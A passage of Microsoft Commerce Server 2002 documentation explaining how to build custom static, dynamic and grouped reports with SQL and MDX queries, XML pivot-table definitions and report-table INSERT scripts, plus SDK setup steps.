Week of Year | DateDimensionView | Csdw_Datefill ensures that every hour between the minimum and maximum date in the DateDimensionView table has an entry in the Date table.
Win32Status | Win32Status |

See Also

Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

OLAP Cubes

Commerce Server 2002 Reports

Customizing Reports


Creating Custom Reports

This section describes the methods for creating custom reports. There are three types of reports, static, dynamic, and grouped. Static reports are based on either Structured Query Language (SQL) or multidimensional expression (MDX) queries of SQL or online analytical processing (OLAP) databases, respectively. Dynamic reports are based on an Extensible Markup Language (XML) framework that includes either an SQL query or a reference to a cube and information on how to render the query results in a pivot table view. Grouped reports are based on either SQL or MDX queries of an SQL or OLAP database, sliced on one or more dimensions.

Static report definitions consist of a query and parameter definitions. When a static report is run, the parameters are presented to the operator and then passed to a rendering component. The rendering component generates an HTML document from the query results. Completed static reports are stored as HTML files on the computer that houses Commerce Server Business Desk. These reports can be opened through Business Desk and are displayed in Microsoft Internet Explorer.

Dynamic report definitions are stored as queries, and the pivot table view is stored in XML format in the Commerce Server Data Warehouse. Query results are displayed in the Microsoft Office XP Web Components (OWC) Pivot Table component.

Grouped report definitions are similar to static report definitions, except they also include the report grouping dimension. Grouping on multiple dimensions will be supported in the order specified for the row dimensions defined in the report definitions.

Definitions for the predefined reports are contained in the files CSReports.sql and CSReports2.sql found in the Microsoft Commerce Server 2002 installation directory. The CSReports.sql file populates the report tables in the Data Warehouse for Microsoft Commerce Server 2002 Standard Edition reports. The CSReports2.sql file populates the additional report tables required for Microsoft Commerce Server 2002 Enterprise Edition reports. A Data Transformation Services (DTS) report preparation task is available to process OLAP cubes and execute stored procedures to prepare imported data for reporting.

It is strongly recommended that you use Windows Authentication to access your report databases. Further, you should use the appropriate database script to set the relevant database permissions. For more information, see Securing the Data Warehouse.

You use Business Desk to run reports and display query results for static and dynamic reports. For more information about using Business Desk to run reports, see Running Reports. Plus, in Commerce Server 2002 you can use Business Desk to create new dynamic reports. For more information about using Business Desk to create new dynamic report definitions, see Creating a New Dynamic Report Definition.

Once you have created a static report, you can propagate it to another computer using the Commerce Server Site Packager.

The Microsoft Commerce Server 2002 Software Development Kit (SDK), which is included with Commerce Server 2002, contains six SQL script files that enable you to create static and dynamic reports that query either SQL or OLAP data sources. The script files to create these reports are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts. For more information, see New Report Scripts.

This section contains:

  • Creating Static Reports Using SQL. Describes creating static reports using parameterized SQL query statements.
  • Creating Static Reports Using MDX. Describes creating static reports using parameterized MDX query statements.
  • Creating Dynamic Reports. Describes creating dynamic reports using the XML framework.
  • Creating Grouped Reports. Describes updating grouped report SDK scripts and creating new grouped reports.
  • Packaging Custom Reports. Describes packaging custom static reports so that they can be unpacked and run on another computer.

See Also

Analysis/Reporting Schema

Analysis/Reporting XML Structures

AsyncRpt2 Object

ReportRender2 Object

Running Reports

Creating a New Dynamic Report Definition


Creating Static Reports Using SQL

The steps involved in creating a static SQL report are described as a running example in the following sections:

  1. Write the SQL query of interest. For details on this step, see Writing the SQL Query.
  2. Add parameter tags to the query. For details on this step, see Adding SQL Parameterization.
  3. Create the base report definition as a set of INSERT statements (one of which is for the query) in the Report table. For details on this step, see Creating the SQL Base Report Definition.
  4. Insert the dimensions for the report into the ReportDimension table. For details on this step, see Adding the SQL Report Dimensions.
  5. Add the report parameters corresponding to the query parameter tags in the ReportParam table. For details on this step, see Adding the SQL Report Parameters.
  6. Display the report name in the Reports module, then run and display or export the report. For details on this step, see Displaying and Exporting the SQL Report.

This running example creates a static report of site visitors with the following attributes:

  • Registration occurred between 3/1/2000 and 3/30/2000.
  • The UserType equals 1 (the user is a registered user).
  • An e-mail address was provided during registration.

Once the report is run, it will display the UserID, DateCreated, DateRegistered, Email, FirstName, LastName, TelephoneNumber, UserTitle, and UserType attributes of the first 25 matched users sorted by e-mail address.

Note

  • The Microsoft Commerce Server 2002 Software Development Kit (SDK), which is included with Commerce Server 2002, contains six SQL script files that enable you to create static and dynamic reports that query either SQL or OLAP data sources. The script files to create these reports are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts. For more information, see New Report Scripts.


Writing the SQL Query

Create a standard SQL query to return the wanted information.

Note

  • The UserId, rcp_guid, Email, and rcp_email fields are used in the following example because any static report can be exported to the ListManager object, and the ListManager object uses the rcp_guid and rcp_email fields in the exported report to determine whether a user ID and e-mail address have already been stored in the List Manager object.

Step 1

SQL Query =
"SELECT top 25 UserId rcp_guid, DateCreated, DateRegistered, Email rcp_email,
 FirstName, LastName, TelephoneNumber, UserTitle, UserType
FROM RegisteredUser
WHERE (DateRegistered >= '03/01/2000' AND DateRegistered <=
 '03/30/2000') AND UserType = 1 AND Email is not Null
ORDER BY rcp_email ASC"


Adding SQL Parameterization

In the SQL query created in Step 1, add parameter tags using the [$paramName] syntax. The ReportRender object treats these parameters as macros. Note the added INTO clause.

For more information about the available parameters, see Analysis/Reporting Schema.

Step 2

SQL Query =
"SELECT [$TopCount] UserId rcp_guid, DateCreated, DateRegistered, Email
 rcp_email, FirstName, LastName, TelephoneNumber, UserTitle, UserType
INTO [$ResultTable]
FROM RegisteredUser
WHERE [$DateRange] AND [$Expression] AND [$SingleValue]
ORDER BY rcp_email ASC"


Creating the SQL Base Report Definition

Create the base report definition using a set of INSERT statements in the Report table. The SQL query created in Step 2, is inserted into the [Query] field.

The DmExport and UpmExport bits are set so the report can be exported to Direct Mailer (which uses the rcp_email attribute) and User Profile Management (which uses the rcp_guid attribute).

The ReportType is set to Static_SQL (2). The Protected bit is cleared (set to 0) which allows the report to be overwritten or deleted.

For more information about the Report table, see Analysis/Reporting Schema.

Step 3

-- ReportType
DECLARE @Static_SQL tinyint
SELECT @Static_SQL = 2

DECLARE @ReportID int
DECLARE @ReportStatusID int
INSERT INTO [dbo].[Report] ([DisplayName], [Description], [ReportType],
 [Category], [Query], [DmExport], [UpmExport], [CreatedBy], [Protected])

VALUES ('Registered Users', 'Registered Users', @Static_SQL, 'Users',
 SQL String, 1, 1, 'Report Creator', 0)
SELECT @ReportID = @@identity


Adding the SQL Report Dimensions

Create the displayable report dimensions using a set of INSERT statements in the ReportDimension table.

Specify the fields to display and the dimension type (column, row, or measure). Fields that are specified in the SELECT statement but are not inserted into the ReportDimension table can be exported, but not displayed.

For more information about the ReportDimension table, see Analysis/Reporting Schema.

Step 4

INSERT INTO [dbo].[ReportDimension] ([ReportID], [DimensionType],
 [DisplayName], [FieldName], [Ordinal])
VALUES (@ReportID, 0, 'Email', 'rcp_email', 1)
INSERT INTO [dbo].[ReportDimension] ([ReportID], [DimensionType],
 [DisplayName], [FieldName], [Ordinal])
VALUES (@ReportID, 0, 'UserId', 'rcp_guid', 2)

INSERT INTO [dbo].[ReportDimension] ([ReportID], [DimensionType],
 [DisplayName], [FieldName], [Ordinal])
VALUES (@ReportID, 0, 'FirstName', 'FirstName', 3)

INSERT INTO [dbo].[ReportDimension] ([ReportID], [DimensionType],
 [DisplayName], [FieldName], [Ordinal])
VALUES (@ReportID, 0, 'LastName', 'LastName', 4)

INSERT INTO [dbo].[ReportDimension] ([ReportID], [DimensionType],
 [DisplayName], [FieldName], [Ordinal])
VALUES (@ReportID, 0, 'DateCreated', 'DateCreated', 5)

INSERT INTO [dbo].[ReportDimension] ([ReportID], [DimensionType],
 [DisplayName], [FieldName], [Ordinal])
VALUES (@ReportID, 0, 'DateRegistered', 'DateRegistered', 6)


Adding the SQL Report Parameters

Create the report parameters using a set of INSERT statements in the ReportParam table.

The parameterizations are of the form:

   [ Operand1   Value1   Operand2   Value2   FieldName ]

An expression equivalent to the parameterization is given immediately following each VALUES clause, first in the above format, and second, if necessary, in a more understandable format.

For more information about the ReportParam table and the various parameters, see Analysis/Reporting Schema.

Step 5

-- DataType
Declare @DataType_date tinyint
Declare @DataType_integer tinyint
Declare @DataType_text tinyint
Select @DataType_date = 1
Select @DataType_integer = 2
Select @DataType_text = 5

-- ParamType
Declare @ParamType_SingleValue tinyint
Declare @ParamType_Expression tinyint      /* Static SQL only */
Declare @ParamType_SelectOrder tinyint
Declare @ParamType_DateRange tinyint      /* Static SQL only */
Select @ParamType_SingleValue = 0
Select @ParamType_Expression = 1
Select @ParamType_SelectOrder = 2
Select @ParamType_DateRange = 3

-- SelectOrderOperand
Declare @SelectOrderOpnd_Top tinyint
Select @SelectOrderOpnd_Top = 2

-- DateRangeOperand
Declare @DateRangeOpnd_From tinyint
Select @DateRangeOpnd_From = 1

-- ExpressionOperand
Declare @ExpOpnd_Equals tinyint
Select @ExpOpnd_Equals = 1
INSERT INTO [dbo].[ReportParam] (ReportID, ParamName, ParamDescription, ParamType, DataType, Opnd1, Val1, Opnd2, Val2, FieldName, Ordinal)
VALUES (@ReportID, ' [$TopCount] ', 'Number of users', @ParamType_SelectOrder, @DataType_integer, @SelectOrderOpnd_Top, '25', 0, '0', ’’, 1)
         [ Select Top, 25, 0, 0, """" ]

INSERT INTO [dbo].[ReportParam] (ReportID, ParamName, ParamDescription, ParamType, DataType, Opnd1, Val1, Opnd2, Val2, FieldName, Ordinal)
VALUES (@ReportID, ' [$DateRange] ', 'User registration date', @ParamType_DateRange, @DataType_date, @DateRangeOpnd_From, '3/1/2000', 0, '3/30/2000', ’DateRegistered’, 2)
         [ Date From, 3/1/2000, 0, 3/30/2000, DateRegistered ]
         [ 3/1/2000 <= DateRegistered <= 3/30/2000 ]

INSERT INTO [dbo].[ReportParam] (ReportID, ParamName, ParamDescription, ParamType, DataType, Opnd1, Val1, Opnd2, Val2, FieldName, Ordinal)
VALUES (@ReportID, '[$Expression]', 'User type', @ParamType_Expression, @DataType_integer, @ExpOpnd_Equals, '1', 0, '0', ’UserType’, 3)
         [ =, 1,  0, 0, UserType ]
         [ UserType = 1 ]

INSERT INTO [dbo].[ReportParam] (ReportID, ParamName, ParamDescription, ParamType, DataType, Opnd1, Val1, Opnd2, Val2, FieldName, Ordinal)
VALUES (@ReportID, ' [$SingleValue] ', 'Email qualifier', @ParamType_SingleValue, @DataType_text, 0, ' Email is not Null', 0, 0, ’’, 4)
         [ 0, Email <> Null, 0, 0, """" ]


Displaying and Exporting the SQL Report

After you have completed steps 1 through 5 (see Creating Static Reports Using SQL for information about the preceding steps) successfully, the Reports module must be refreshed to view the report name in Commerce Server Business Desk. Click Reports in the Analysis category to refresh the list of reports. The next step is to run or export the Registered User report from Business Desk. For information about running or exporting this report, see Business Desk Analysis.

After the report is run, it can be viewed from Business Desk or you can programmatically display or export the report using the ReportRenderer object or the AsyncRpt object. For information about programmatically displaying or exporting the report, see ReportRenderer2 Object and AsyncRpt2 Object.

An SQL script file is included in the Microsoft Commerce Server 2002 Software Development Kit (SDK), which creates a static SQL report. The file is located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts\NewStaticSQLReport.sql.


Creating Static Reports Using MDX

The steps involved in creating a static MDX report are described as a running example in the following sections:

  1. Write the MDX query of interest. For details on this step, see Writing the MDX Query.
  2. Add parameter tags to the query. For details on this step, see Adding MDX Parameterization.
  3. Create the base report definition as a set of INSERT statements (one of which is for the query) into the Report table. For details on this step, see Creating the MDX Base Report Definition.
  4. Insert the dimensions for the report into the ReportDimension table. For details on this step, see Adding the SQL Report Dimensions.
  5. Add the report parameters corresponding to the query parameter tags into the ReportParam table. For details on this step, see Adding the MDX Report Parameters.
  6. Run and display the report.

The report dimensions are inherent to the query and do not have to be inserted into the ReportDimension table. After the steps have been successfully executed, the report will be listed in the Reports module in Commerce Server Business Desk.

  • The running example creates a static report of the top 100 referring domains by visit.

Note

  • The Microsoft Commerce Server 2002 Software Development Kit (SDK), which is included with Commerce Server 2002, contains six SQL script files that enable you to create static and dynamic reports that query either SQL or OLAP data sources. The script files to create these reports are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts. For more information, see New Report Scripts.


Writing the MDX Query

Create a standard MDX query.

Step 1

MDX Query =
"SELECT {[Measures].[Visits], [Measures].[Requests]} ON COLUMNS,
  TopCount({[Referrer].[Referrer Domain Name].members}, 100,
  [Measures].[Visits]) ON ROWS
 FROM [mscsWebUsage]
 WHERE ([<sitename>]) "


Adding MDX Parameterization

In the MDX query created in Step 1, add parameter tags using the [$paramName] syntax. The ReportRender object treats these parameters as macros.

For more information about the available parameters, see Analysis/Reporting Schema.

Step 2

MDX Query =
"SELECT {[Measures].[Visits], [Measures].[Requests]} ON COLUMNS,
  [$TopCount]({[Referrer].[Referrer Domain Name].members}, [$TopCount],
  [Measures].[Visits]) ON ROWS
 FROM [mscsWebUsage]
 WHERE ([$SiteName]) "


Creating the MDX Base Report Definition

Create the base report definition using a set of INSERT statements into the Report table. The MDX query created in Step 2 is inserted into the [Query] field.

The ReportType is set to Static_MDX (3). The Protected bit is cleared (set to 0) which allows the report to be overwritten or deleted.

For more information about the Report table, see Analysis/Reporting Schema.

Step 3

-- ReportType
Declare @Static_MDX tinyint
Select @Static_MDX = 3

DECLARE @ReportID int
DECLARE @ReportStatusID int
INSERT INTO [dbo].[Report] ([DisplayName], [Description], [ReportType],
 [Category], [Query], [CreatedBy], [Protected], [Definition])
VALUES ('Visits by Referrer', 'Visits by Referrer', @Static_MDX,
'Web Usage', MDX Query, ''Report Creator'', 0,
’Long report description goes here’)
SELECT @ReportID = @@identity


Adding the MDX Report Definitions

Add the MDX report definitions to the query.

Step 4

-- Dimension and measure types
Declare @RowDim tinyint
Declare @Measure tinyint
Select @RowDim = 1
Select @Measure = 2

-- Add report dimensions
Insert Into [dbo].[ReportDimension] ([ReportID], [DimensionType], [DisplayName], [Ordinal])
Values (@ReportID, @RowDim, N'Referrer Domain Name', 1)
Insert Into [dbo].[ReportDimension] ([ReportID], [DimensionType], [DisplayName], [Ordinal])
Values (@ReportID, @Measure, N'Visits', 1)
Insert Into [dbo].[ReportDimension] ([ReportID], [DimensionType], [DisplayName], [Ordinal])
Values (@ReportID, @Measure, N'Requests', 2)


Adding the MDX Report Parameters

Create the report parameters using a set of INSERT statements into the ReportParam table.

For more information about the ReportParam table and the various parameters, see Analysis/Reporting Schema.

Step 5

-- ParamType
Declare @ParamType_SelectOrder tinyint
Declare @ParamType_SiteName tinyint
Select @ParamType_DateRange = 3
Select @ParamType_SiteName = 4

-- DataType
Declare @DataType_text tinyint
Select @DataType_text = 5

-- SiteNameOperand
Declare @SiteNameOpnd_Equals tinyint
Select @SiteNameOpnd_Equals   = 1

-- SelectOrderOperand
Declare @SelectOrderOpnd_Top tinyint
Select @SelectOrderOpnd_Top = 2
INSERT INTO [dbo].[ReportParam] (ReportID, ParamName, ParamDescription,
 ParamType, DataType, Opnd1, Val1, Ordinal)
VALUES (@ReportID, '[$TopCount]', 'Number of referrer domains',
 @ParamType_SelectOrder, @DataType_integer, @SelectOrderOpnd_Top,
 100, 1)

INSERT into [dbo].[ReportParam] (ReportID, ParamName, ParamDescription,
 ParamType, DataType, Opnd1, Val1, Ordinal)
VALUES (@ReportID, '[$SiteName]', 'Site Name', @ParamType_SiteName,
 @DataType_text, @SiteNameOpnd_Equals, '<sitename>', 2)

After you have completed steps 1 through 4 (see Creating Static Reports Using MDX for information about the preceding steps) successfully, the report will appear in the Reports module in Commerce Server Business Desk. The next step is to run or export the report from Business Desk. For more information, see Business Desk Analysis.

After the report is run, it can be viewed from Business Desk or you can programmatically display or export the report using the ReportRenderer or AsyncRpt objects. For information about programmatically displaying or exporting the report, see ReportRenderer2 Object.

An SQL script file is included in the Microsoft Commerce Server 2002 Software Development Kit (SDK) which creates a static MDX (OLAP) report. The file is located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts\NewStaticOLAPReport.sql.


Creating Dynamic Reports

In Microsoft Commerce Server 2002, new dynamic reports can be created through the Analysis module in Commerce Server Business Desk or by modifying an existing report and running scripts included in the Microsoft Commerce Server Software Development Kit (SDK).

For more information about using Business Desk to create new dynamic report definitions, see Creating New Dynamic Report Definition.

Dynamic reports use an XML framework that contains either an SQL query or a reference to a cube. New dynamic reports can be created from existing dynamic reports by running the existing report, editing the pivot view, and saving the result as a new report. If the new report requires a different SQL query or cube than any existing report, an SQL script must be run. Scripts are provided that can be modified to create both types of dynamic reports. These scripts are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts.

New dynamic reports are created by following these steps:

  1. Run the modified SQL script to create the basic report.
  2. Open the newly created report or an existing dynamic report.
  3. Modify the report using the features of the pivot control.
  4. Save the customized report as a new report.

When the above steps have been successfully completed, the new report will appear in the Reports module of Business Desk.

Note

  • The Microsoft Commerce Server 2002 Software Development Kit (SDK), which is included with Commerce Server 2002, contains six SQL script files that enable you to create static and dynamic reports that query either SQL or OLAP data sources. The script files to create these reports are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts. For more information, see New Report Scripts.

This section contains:

  • Creating Dynamic Reports Using SQL. Describes creating dynamic reports using an XML framework containing an SQL query.
  • Creating Dynamic Reports Using Cubes. Describes creating dynamic reports using an XML framework containing a reference to a cube.


Creating Dynamic Reports Using SQL

New dynamic SQL reports are described as a running example in the following sections. To create the report, follow these steps:

  1. Create the dynamic SQL query. For details on this step, see Create the Dynamic SQL Query.
  2. Create the XML framework that includes the query. For details on this step, see Create the XML Framework.
  3. Create the base report definition by inserting the XML and other report parameters into the Report table. For details on this step, see Create the Base Report Definition.

    The report shows up in the Reports section of the Analysis module of Business Desk, where it is modified using the pivot control and saved.

A SQL script file, "Analysis - New dynamic SQL report script.sql", is included in the SDK. This script includes the XML framework and can be modified to create the report. The file is located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts.

For more information about using Business Desk to create new dynamic report definitions, see Creating a New Dynamic Report Definition.

Note

  • The Microsoft Commerce Server 2002 Software Development Kit (SDK), which is included with Commerce Server 2002, contains six SQL script files that enable you to create static and dynamic reports that query either SQL or OLAP data sources. The script files to create these reports are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts. For more information, see New Report Scripts.


Create the Dynamic SQL Query

Create the query string.

Step 1

SQL Query =
"SELECT top 25 UserId rcp_guid, DateCreated, DateRegistered, Email rcp_email, FirstName, LastName, TelephoneNumber, UserTitle, UserType
FROM RegisteredUser
WHERE (DateRegistered >= ''03/01/2000'' AND DateRegistered <=
 ''03/30/2000'') AND UserType = 1 AND Email is not Null
ORDER BY rcp_email ASC"


Create the XML Framework

The following shows the XML framework required for the report. Note that the values of the Data Source and Initial Catalog attributes are not specified in the connection string. These values are obtained from the Administration database at report run time.

Insert the SQL query from Step 1 between the CommandText tags.

For more information about the XML structure, see Analysis/Reporting XML Structures.

Step 2

XMLString =
'<xml xmlns:x=''urn:schemas-microsoft-com:office:excel''>
<x:PivotTable>
<x:OWCVersion>10.0.0.2621</x:OWCVersion>
<x:DisplayScreenTips/>
<x:MaxHeight>5000</x:MaxHeight>
<x:NoAllowDetails/>
<x:DisplayFieldList/>
<x:CacheDetails/>
<x:ConnectionString>Provider=SQLOLEDB;Integrated Security='SSPI';Initial Catalog=;Data Source=</x:ConnectionString>
<x:CommandText>SQL Query</x:CommandText>
<x:DataAxisEmpty/>
<x:PivotView>
<x:Label>
<x:Caption></x:Caption>
<x:NotVisible/>
</x:Label>
</x:PivotView>
</x:PivotTable>
</xml>'


Create the Base Report Definition

Insert the required parameters, including the XMLString created in Step 2, into the XMLData field in the Report table.

Step 3

INSERT INTO [dbo].[Report] ([DisplayName], [Description], [ReportType], [Category], [CreatedBy], [Protected], [ShowPivot], [ShowChart],
[XMLData], [Definition])
VALUES ('Registered Users', 'Registered Users', 0, 'Visits', 'Report Creator', 0, 1, 0, XMLString, 'Use this report to view information on the registered users of the site.')

When the above steps have been successfully completed, the report will appear in the Reports module of Commerce Server Business Desk. The next step is to run the report from Business Desk. For more information, see Running Reports.

Note

  • Do not modify the XML structure after the report is initially created. Make any modifications to the report by using the pivot table component in the Analysis category in Business Desk. The pivot table view and layout changes are automatically persisted in the XML for the report when it is saved.


Creating Dynamic Reports Using Cubes

New dynamic report OLAP reports are described as a running example in the following sections. To create the report, follow these steps:

  1. Create the XML framework. For details on this step, see Create the XML Framework.
  2. Create the base report definition by inserting the XML and other report parameters into the Report table. For details on this step, see Create the Base Report Definition.

    The report shows up in the Reports section of the Analysis module of Business Desk, where it is modified using the pivot control.

A SQL script file, "Analysis - New dynamic OLAP report script.sql", is included in the SDK. This script includes the XML framework and can be modified to create the report. The file is located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts.

For more information about using Business Desk to create new dynamic report definitions, see Creating a New Dynamic Report Definition.

Note

  • The Microsoft Commerce Server 2002 Software Development Kit (SDK), which is included with Commerce Server 2002, contains six SQL script files that enable you to create static and dynamic reports that query either SQL or OLAP data sources. The script files to create these reports are located in the installation folder under \Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts. For more information, see New Report Scripts.


Create the XML Framework

The following shows the XML framework required for the report. Note that values for the Data Source and Initial Catalog attributes are not specified in the connection string. These values are obtained from the Administration database at the time the report is run.

The name of the cube is specified between the DataMember tags.

For more information about the XML structure, see Analysis/Reporting XML Structures.

Step 1

XMLString =
'<xml xmlns:x=''urn:schemas-microsoft-com:office:excel''>
<x:PivotTable>
<x:OWCVersion>10.0.0.2621</x:OWCVersion>
<x:DisplayScreenTips/>
<x:MaxHeight>5000</x:MaxHeight>
<x:CubeProvider>msolap</x:CubeProvider>
<x:DisplayFieldList/>
<x:CacheDetails/>
<x:ConnectionString> Provider=SQLOLEDB;Integrated Security='SSPI';Initial Catalog=;Data Source=</x:ConnectionString>
<x:DataMember>CubeName</x:DataMember>
<x:PivotView>
<x:Label>
<x:Caption></x:Caption>
<x:NotVisible/>
</x:Label>
</x:PivotView>
</x:PivotTable>
</xml>'


Create the Base Report Definition

Insert the required parameters, including the XMLString created in Step 1, into the XMLData field in the Report table.

Step 2

INSERT INTO [dbo].[Report] ([DisplayName], [Description], [ReportType],
 [Category], [CreatedBy], [Protected], [ShowPivot], [ShowChart], [XMLData], [Definition])
VALUES ('Dynamic OLAP Report', 'Dynamic OLAP Report', 1, 'Advertising', 'Report Creator', 0, 1, 0, XMLString,
'Use this report to view advertising information.')

When the above steps have been successfully completed, the report will appear in the Reports module of Commerce Server Business Desk. The next step is to run the report from Business Desk. For more information, see Business Desk Analysis.

Note

  • Do not modify the XML structure after the report is initially created. Make any modifications to the report using the pivot table component in the Analysis category in Business Desk. The pivot table view and layout changes are automatically persisted in the XML for the report when it is saved.


Creating Grouped Reports

Grouped reports can be thought of as a set of individual reports created simultaneously with each report showing a nonintersecting slice of the total data set. The data slice shown in each report is based on one or more slicing dimensions. For example, a report of sales by a user sliced on the user dimension would produce a sales report for each user. A report of sales by year and by user, sliced on user and year, would produce an annual sales report for each user for every year in which there are sales. One of the functions of report grouping is to limit the data shown in any one report to the data slice applicable for the intended user. For example, if a site hosts multiple advertisers it would make sense to provide advertising campaign results only to the advertisement sponsor instead of showing all advertising results to all advertisers. Grouped reports provide this capability and support slicing by multiple dimensions. This capability supports the hosting environment, supplier enablement, and individualized reporting, by allowing the user to create a set of reports sliced by dimensions such as user, site, advertiser, and campaign.

The steps involved in creating a grouped report are described as a running example in the following sections:

  1. Update the grouped report SDK sample script. For details on this step, see Update the Grouped Report SDK Script.
  2. Run the grouped report. For details on this step, see Running the Grouped Report.


Update the Grouped Report SDK Sample Script

Update the script to customize your grouped report.

To open the grouped report SDK sample

  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Navigate to the grouped report scripts in the SDK, for example C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Business Analytics\Scripts.
  3. Open the file corresponding to the type of database the information is stored in. If you are using an SQL database, double-click the NewGroupedSQLReport.sql icon. If you are using an OLAP database, double-click the NewGroupedOLAPreport.sql icon.

To update the NewGroupedSQLReport.sql script

  1. Replace the text in the following table with the appropriate content for your report.
    Text in script | Replace with
    Insert report name here | The report name.
    Report description - short | A short description of the report.
    Insert report category here | The report category.
    Insert report creator here | The name of the person that is creating the report.
    Report description - long | Optional. A detailed description of the report.
  2. Update the SQL query provided in the NewGroupedSQLReport.sql script. For more information about changing an SQL query, see Writing the SQL Query.

    The SQL query must be in the form Select into [$ResultTable]. The temporary table name for the [$ResultTable] tag is determined by ReportRenderer. This tag must appear in the query but it should not be changed.

  3. Update the report definition in the script. For more information about report definitions, see Creating the SQL Base Report Definition.
  4. Update the report dimensions. For more information about report dimensions, see Adding the SQL Report Dimensions.

    The [GroupDim] fields on the insert statements for the row dimensions are used to specify the grouping.

  5. On the File menu, click Save As to save your script changes.
  6. In the File Name box in the Save As dialog box, type a name for the new script, and then click Save.

To update the NewGroupedOLAPReport.sql script

  1. Replace the text in the following table with the appropriate content for your report.
    Text in script | Replace with
    New grouped OLAP report name here | The report name.
    Report description - short | A short description of the report.
    Insert report category here | The report category.
    Insert report creator here | The name of the person creating the report.
    Report description - long | Optional. A detailed description of the report.
  2. Update the MDX query provided in the script. For more information about changing an MDX Query, see Writing the MDX Query.
  3. Update the report definition in the script. For more information about report definitions, see Creating the MDX Base Report Definition.
  4. Update the report definitions. For more information about report definitions, see Adding the MDX Report Definitions.
  5. To save your script changes, on the File menu, click Save As.
  6. In the File Name box in the Save As dialog box, type a name for the new script, and then click Save.


Running the Grouped Report

Unlike the static and dynamic reports, grouped reports will not appear in Commerce Server Business Desk. Grouped reports are executed by calling the ReportRenderer2.dll public interfaces, as shown in the following Visual Basic code.

You can execute the grouped report script multiple times, which may be necessary during report development. Each set of grouped reports is uniquely identified by a GUID in its name. No reports will be overwritten.

After the grouped report has been run there will be a new entry in the GroupReportJob table and the reports will be in the cataloged in the GroupReportStatus table.

' Instantiate ReportRenderer2.dll
   Dim objReport As New ReportRenderer2

' Set the Report locale (the default value is 1033 if it is not set).
' This is used to format the dates in the report header.
   objReport.ReportLocale = 1033

' Set the report directory where the grouped reports are to be created
   objReport.ReportDirectory = "C:\Inetpub\wwwroot\retailbizdesk\analysis\Completed Reports"

' Get the correct connection string based on the site name
   Dim configObject As new SiteConfigReadOnly '(MSCSCfg.dll)
   Dim olapConstr, dwConstr

   Set configObject = New SiteConfigReadOnly
   configObject.Initialize("Retail")
   dwConStr = configObject.Fields("Global Data Warehouse").Value.Fields("ConnStr_db_dw").Value
OlapConStr = configObject.Fields("Global Data Warehouse").Value.Fields("ConnStr_OLAP").Value
   Set configObject = Nothing

' Execute the grouped report
   ' ReportID is the ID from the Report table for the grouped report to be executed
   ' DW conn string is the connection string to the DW
   '   This query can be use to obtaiin this conn string: Select s_Value from ResourceProps where s_PropertyName = 'connstr_db_dw'
   ' OLAP conn string is only needed for grouped OLAP reports
   '   This query can be use to obtain this conn string: Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP'
   objReport.ExecGroupedReport("ReportID|DW conn string|OLAP conn string")
Set objReport = Nothing


Packaging Custom Reports

The following steps will guide you in packaging custom static reports so that they can be unpacked and run on another computer. In this procedure you will build a script to create a new report and then include this script in the script that is run by the Commerce Server Site Packager when new sites are installed.

  1. Open the NewStaticSQLReport.sql script or the NewStaticOLAPReport.sql script in the \Microsoft Commerce Server 2002\SDK\Samples\Business Analytics\Scripts folder.
  2. Use the sample report script and the instructions in the topic Creating Static Reports Using SQL or the topic Creating Static Reports Using MDX to create a new static report to reflect your reporting requirements.
  3. In SQL Query Analyzer, run the new script against the Data Warehouse database. During this step, the report definition will be written to the Data Warehouse.
  4. In the Business Desk Analysis Reports module, click Refresh. The newly created report will be available in the Reports module. Run this report and check the report functionality.
  5. Copy the script contents for the new report script and paste these script contents at the end of the file \Microsoft Commerce Server 2002\CSReports.sql.
  6. The file CSReports.sql will be included in your .pup package for propagation to other computers.
  7. On the destination computer, unpack the resources you packaged in the previous step. The custom report can now be run on the destination computer against the Data Warehouse associated with that computer.


Software Development Kit

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes extensive samples and tools to help developers get started programming with Commerce Server. When installed, all of the files composing the Commerce Server 2002 SDK are in a folder called "SDK" under the "Microsoft Commerce Server" folder. This topic describes the structure and contents of the SDK folder.

Notes

  • You must include the following components of the Platform SDK to build the samples in the Commerce Server 2002 SDK (choose at least these options on the Custom Installation screen of the Platform SDK installation program):

    Configuration Options (all)

    Build Environment

    Base Services (all)

    Component Services

    COM

    Data Access Services

    OLE DB

    SQL Server

    Management Services

    Microsoft Management Console

    Minimum Build Tools

    Networking and Directory Services

    Active Directory Services Interface

    Web Services

    Microsoft Internet Explorer

    Microsoft Internet Information Server

    Win32 API

    You may also want to install the following debugging tools at the same time:

    Debugging Tools

    WinDbg

    SQL Profiler

    OEM Support Tools

    UserDump

  • In addition to installing the Platform SDK, you must also update your system include path to contain the Commerce Server 2002 SDK Include folder, and update your Microsoft Visual C++ directory options to contain the Commerce Server 2002 SDK Include folder.

    Note that the installation of the Platform SDK should have added the path settings that it requires to the user INCLUDE and LIB environment variables:

    • INCLUDE: <Platform SDK folder>\Include
    • INCLUDE: <Platform SDK folder>\Include\ATL30
    • LIB: <Platform SDK folder>\Lib

To update your user INCLUDE environment variable

To update Microsoft Visual C++

To update your user INCLUDE environment variable

  1. Right-click My Computer, and then click Properties.
  2. In the System Properties dialog box, on the Advanced tab, click Environment Variables.
  3. In the Environment Variables dialog box, select the variable INCLUDE from the User variables for <username> box, and then click Edit.
  4. In the Edit User Variable dialog box, append the path to the Commerce Server 2002 SDK Include directory to the value in the Variable Value box. For example, C:\Program Files\Microsoft Commerce Server\SDK\Include.
  5. To exit all three dialog boxes, click OK three times.

To update Microsoft Visual C++

  1. Open Microsoft Visual C++.
  2. On the Tools menu, click Options.
  3. In the Options dialog box, on the Directories tab, verify that the Include files option in the Show directories for box is selected.
